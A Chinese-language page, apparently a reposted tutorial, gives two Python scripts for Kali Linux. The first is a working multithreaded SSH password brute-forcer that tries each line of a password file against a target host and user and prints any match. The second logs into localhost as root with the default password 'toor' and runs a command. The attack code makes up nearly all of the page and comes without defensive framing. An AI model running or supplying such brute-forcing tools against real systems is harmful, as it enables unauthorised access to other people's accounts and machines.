您好,登錄后才能下訂單哦!
環境:kali
代碼:
'''
Author:yw
'''
from pexpect import pxssh
import optparse
from threading import *
Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
print("[+]Password Found:"+password)
Found = True
except Exception as e:
pass
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -f <passwd file> -u <username>')
parser.add_option('-H', dest='host', type='string', help='target host')
parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')
parser.add_option('-u', dest='user', type='string', help='login username')
(options,args) = parser.parse_args()
host = options.host
passwdfile = options.passwdfile
user = options.user
if host==None or passwdfile==None or user==None:
print(parser.usage)
exit(0)
mn = open(passwdfile,'r')
lines = mn.readlines()
for line in lines:
with connection_lock:
password = line.strip('\n')
print('[-] Test:'+str(password))
t = Thread(target=connect,args=(host, user, password))
t.start()
if __name__ == '__main__':
main()
執行結果:
代碼:
'''
Author:yw
'''
from pexpect import pxssh
def send_shell(s,shell):
s.sendline(shell)
s.prompt()
print s.before
def connect(host,user,password):
try:
s=pxssh.pxssh()
s.login(host,user,password)
return s
except:
print("[-] Error Connecting")
exit(0)
s=connect('127.0.0.1','root','toor')
send_shell(s,'uname -a')
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。